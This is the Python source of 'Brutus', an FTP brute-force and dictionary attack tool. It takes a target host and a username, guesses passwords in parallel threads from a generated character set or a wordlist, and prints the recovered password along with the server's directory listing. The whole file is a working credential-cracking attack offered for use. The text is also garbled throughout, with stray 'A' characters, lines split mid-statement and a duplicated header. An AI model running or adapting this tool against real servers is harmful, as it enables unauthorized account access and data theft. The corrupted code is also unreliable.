################################################################################
# A A tool: Brutus - FTP Brute-Force/Dictionary Attack Tool
# version: 0.3
# A email: mrh at bushisecu ################################################################################
# A A tool: Brutus - FTP Brute-Force/Dictionary Attack Tool
# version: 0.3
# A email: mrh at bushisecurity dot com
# A A www: bushisecurity.com/brutus/
################################################################################
# MIT License
# Copyright (c) 2017 Phillip Aaron
# Permission is hereby granted, free of charge, to any person obtaining
a copy
# of this software and associated documentation files (the "Software"),
to deal#A
# in the Software without restriction, including without limitation the
rights#A
# to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell#A
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be
included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
# SOFTWARE.
importA argparse,A sys,A threading,A time
fromA datetimeA importA datetime
fromA itertoolsA importA chain,A product
fromA ftplibA importA FTP
# Create some global variables
classA glob:
A A A pwdA =A FalseA # Used for stopping attack when password found
A A chrsetA =A ""A # Character set for brute-force
A A prefixA =A ""A # Prefix string
A A postfixA =A ""A # Postfix string
A A lengthA =A 8A # Default lenth of password
A A minlengthA =A 5A # Default min length of password
A A thrdsA =A 10A # Defualt num of threads
A A verbA =A FalseA # Default value for verbose output
A A pauseA =A 0.01A # Default throttle time, 1 = one second
A A cntA =A 0A # Counting number of attempts
# Iterable Method for brute-forcing a character set and length
defA bruteforce(charset,A maxlength,A minlength):
A A A returnA (''.join(candidate)
A A A A A forA candidateA inA chain.from_iterable(product(charset,A repeat=i)
A A A A A forA iA inA range(minlength,A maxlength +A 1)))
# Method for making ftp connections
defA crack(host,A user,A pwd):
A A A try:
A A A A A ifA glob.verb:A # Check for verbose output
A A A A A A A printA "["A +A str(glob.cnt)A +A "] Trying: "A +A pwd.strip()
A A A A ftpA =A FTP(host)A # Create FTP object
A A A A A ifA ftp.loginA (user,A pwd):A # Check if true
A A A A A A A printA "
Password for "A +A userA +A ": "A +A pwd.strip()
A A A A A A A printA "=================================================="
A A A A A A A glob.pwdA =A TrueA # Set global value
A A A A A A A printA ftp.dir()A # Display contents of root FTP
A A A A A A ftp.quit()A # Disconnect from FTPA
A A A exceptA ExceptionA asA err:
A A A A A passA # Ignore errors
# Method wait for threads to complete
defA wait(threads):
A A A forA threadA inA threads:A thread.join()A A
# Method for staging attack
defA main(args):
A A A try:
A A A A startA =A datetime.now()A # Time attack started
A A A A A printA "
Attacking FTP user ["A + args.usernameA +A "] at ["A +
args.hostA +A "]"
A A A A A printA "=================================================="
A A A A thrdCnt A =A 0;threadsA =A []A # Local variables
A A A A A # Set global variables
A A A A A ifA args.pause:glob.pauseA =A float(args.pause)
A A A A A ifA args.verbose:glob.verbA =A True
A A A A A ifA args.threads:glob.thrdsA =A int(args.threads)
A A A A A ifA args.length:glob.lengthA =A int(args.length)
A A A A A ifA args.minlength:glob.minlengthA =A int(args.minlength)
A A A A A ifA args.charset:glob.chrsetA =A args.charset
A A A A A ifA args.prefix:glob.prefixA =A args.prefix
A A A A A ifA args.postfix:glob.postfixA =A args.postfix
A A A A A ifA args.charsetA ==A None:A
A A A A A A A # Create charset from printable ascii range
A A A A A A A forA charA inA range(37,127):glob.chrsetA +=A chr(char)
A A A A A # Brute force attack
A A A A A ifA args.wordlistA ==A None:
A A A A A
A A forA pwdA inA bruteforce(glob.chrset,A int(glob.length),int(glob.minlength)):A #
Launch brute-force
A A A A A A A A A ifA glob.pwd:A breakA # Stop if password found
A A A A A A A A A ifA thrdCnt A !=A args.threads:A # Create threads until
args.threads
A A A A A A A A A A A ifA args.prefix:
A A A A A A A A A A A A A pwdA =A str(args.prefix)A +A pwd
A A A A A A A A A A A ifA args.postfix:
A A A A A A A A A A A A A pwdA +=A str(args.postfix)
A A A A A A A A A
A A threadA =A threading.Thread(target=crack,A args=(args.host,args.username,pwd,))
A A A A A A A A A A A thread.start()
A A A A A A A A A A threads.append(thread)
A A A A A A A A A A thrdCnt +=A 1;glob.cnt+=1
A A A A A A A A A A A time.sleep(glob.pause)A # Set pause time
A A A A A A A A A else:A # Wait for threads to complete A A
A A A A A A A A A A wait(threads)
A A A A A A A A A A thrdCnt A =A 0
A A A A A A A A A A threadsA =A []
A A A A A # Dictionary attack
A A A A A else:
A A A A A A A withA open(args.wordlist)A asA fle:A # Open wordlist
A A A A A A A A A forA pwdA inA fle:A # Loop through passwords
A A A A A A A A A A A ifA glob.pwd:A breakA # Stop if password found
A A A A A A A A A A A ifA thrdCnt A !=A args.threads:A # Create threads until
args.threads
A A A A A A A A A A A
A A threadA =A threading.Thread(target=crack,A args=(args.host,args.username,pwd,))
A A A A A A A A A A A A A thread.start()
A A A A A A A A A A A A threads.append(thread)
A A A A A A A A A A A A thrdCnt +=1;glob.cnt+=1
A A A A A A A A A A A A A time.sleep(glob.pause)A # Set pause time
A A A A A A A A A A A else:
A A A A A A A A A A A A wait(threads)A # Wait for threads to complete
A A A A A A A A A A A A thrdCnt A =A 0
A A A A A A A A A A A A threadsA =A []
A A A exceptA KeyboardInterrupt:
A A A A A printA "
User Cancelled Attack, stopping remaining threads....."
A A A A wait(threads)A # Wait for threads to complete
A A A A A sys.exit(0)A # Kill app
A A wait(threads)A # Wait for threads to complete
A A stopA =A datetime.now()
A A A printA "=================================================="
A A A printA "Attack Duration: "A +A str(stop - start)
A A A printA "Attempts: "A +A str(glob.cnt)A +A "
"
ifA __name__A ==A "__main__":
A A A # Declare an argparse variable to handle application command line
arguments
A A A parserA =A argparse.ArgumentParser()
A A A parser.add_argument("host",A action="store",A help="FTP host")
A A A parser.add_argument("username",A action="store",A help="username to
crack")
A
A A parser.add_argument("-w",A "--wordlist",A action="store",A help="wordlist
of passwords")
A
A A parser.add_argument("-c",A "--charset",A action="store",A help="character
set for brute-force")
A A A parser.add_argument("-l",A "--length",A action="store",A help="password
length for brute-force",A
A A A A nargs='?',A default=8,A const=8,A type=int)
A A A parser.add_argument("-m","--minlength",A action="store",A
A A A A nargs='?',A default=1,A const=1,A help="Minimum password
length",A type=int)
A A A parser.add_argument("-r","--prefix",A action="store",A help="prefix
each password for brute-force")
A A A parser.add_argument("-o","--postfix",A action="store",A help="postfix
each password for brute-force")
A A A parser.add_argument("-p",A "--pause",A action="store",A help="pause
time between launching threads",A
A A A A nargs='?',A default=0.01,A const=0.01)
A A A parser.add_argument("-t",A "--threads",A action="store",A help="num of
threads",A
A A A A nargs='?',A default=10,A const=10,A type=int)
A A A parser.add_argument("-v",A "--verbose",A action="store",A help="verbose
output",A
A A A A nargs='?',A default=False,A const=True)
A A A # Show help if required arg not included
A A A ifA len(sys.argv[1:])==0:
A A A A A parser.print_help()A A A A A
A A A A A parser.exit()
A A argsA =A parser.parse_args()
A A A ifA args.minlengthA !=A NoneA orA args.lengthA !=A None:
A A A A A ifA args.minlengthA >A args.length:
A A A A A A A printA "
** Argument Logic Error **"
A A A A A A A printA "Minimum password length [-m "+str(args.minlength)+"]
is greater than Password length [-l "+str(args.length)+"]
"
A A A A A A A parser.print_help()A A A A A
A A A A A A A parser.exit()
A A main(args)